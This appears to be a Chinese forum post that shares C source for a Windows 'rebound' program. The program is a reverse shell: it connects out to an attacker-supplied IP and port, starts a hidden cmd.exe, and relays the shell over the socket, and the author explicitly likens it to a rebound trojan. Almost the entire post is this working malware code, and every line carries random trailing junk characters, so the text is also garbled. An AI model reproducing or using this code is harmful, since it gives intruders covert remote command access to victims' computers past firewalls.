这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D*|Bb?
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/* ============================== K8Y=S12Ti
Rebound port in Windows NT 4)o
By wind,2006/7 $\y'IQ%
===============================*/ gjzuG<7m
#include x;<W&s}(
#include 7EO_5/cY
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#pragma comment(lib,"wsock32.lib") >Wg hn:^
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void OutputShell(); %vi<Aseg
SOCKET sClient; As<bL:>dE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'K,:j 388
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void main(int argc,char **argv) 3=]sLn0L
{ "@,}p\
WSADATA stWsaData; G+\GaY[
int nRet; 0'?L#K
SOCKADDR_IN stSaiClient,stSaiServer; UN<]N76!
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if(argc != 3) qPfQy
{ TT3|/zwn
printf("Useage:\n\rRebound DestIP DestPort\n"); \d$!a5LF}
return; G+|` 2an
} _n>,!vH
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,7K`[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PBkt~=j
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stSaiClient.sin_family = AF_INET; tT?cBg{
stSaiClient.sin_port = htons(0); t |A-9^t'!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (0y~%J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s#=7IH30
{ oIj#>1~c%
printf("Bind Socket Failed!\n"); ]}2ZttQ?
return; QWHug:c
} 3"KCh\\b
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stSaiServer.sin_family = AF_INET; gQ1;],_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (mt k 4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _MX>#!l
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XFV!S#yEZ
{ )
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printf("Connect Error!"); M{hg0/}sUW
return; qR+!l(
} 3fQuoQuD"}
OutputShell(); Dy8r 9
} 6MdiY1Lr!K
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void OutputShell() ax5<#3__
{ %UCr;H/
char szBuff[1024]; oWo-
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SECURITY_ATTRIBUTES stSecurityAttributes; |R\>@Mg#B
OSVERSIONINFO stOsversionInfo; bYQRBi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A#'8X w|
STARTUPINFO stStartupInfo; G<rHkt@[
char *szShell; #d2.\X}A"3
PROCESS_INFORMATION stProcessInformation; z]D69O b
unsigned long lBytesRead; FZE"7ec>m
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O~K>4ax
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `
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stSecurityAttributes.lpSecurityDescriptor = 0; EV@X*| w
stSecurityAttributes.bInheritHandle = TRUE; V~;1IQd{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k4y'b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5>N2:9We
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !LN?PKJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :mn>0jK,N
stStartupInfo.wShowWindow = SW_HIDE; g:Xhw$x9
stStartupInfo.hStdInput = hReadPipe; :\7X}n*&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <.izVD4/Gg
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GetVersionEx(&stOsversionInfo); p/@smke
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switch(stOsversionInfo.dwPlatformId) p\aaJ
{ o;<Xo&
case 1: mg.kr:
szShell = "command.com"; DG ;_Vg
break; /F'sb[
default: 4s{~r
szShell = "cmd.exe"; (uZ&V7l
break; wLJ:\_Jaf
} "J8vjr1/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e 5*hE
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send(sClient,szMsg,77,0); =\wxsL
while(1) >!bJslWA
{ FOy|F-j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8=uu8-l8g
if(lBytesRead) x$Oq0d{T
{ n!xt5=xP{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /Uy"M:|V1
send(sClient,szBuff,lBytesRead,0); 9}F*P669f
} e:n<EnT
else T@&K-UQ
{ Rww{:R
lBytesRead=recv(sClient,szBuff,1024,0); w\i\Wp,FP
if(lBytesRead<=0) break; (w/T-*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RM]M@%,K
} B
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} .|b$NM
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return; +kO!Xc%P&
}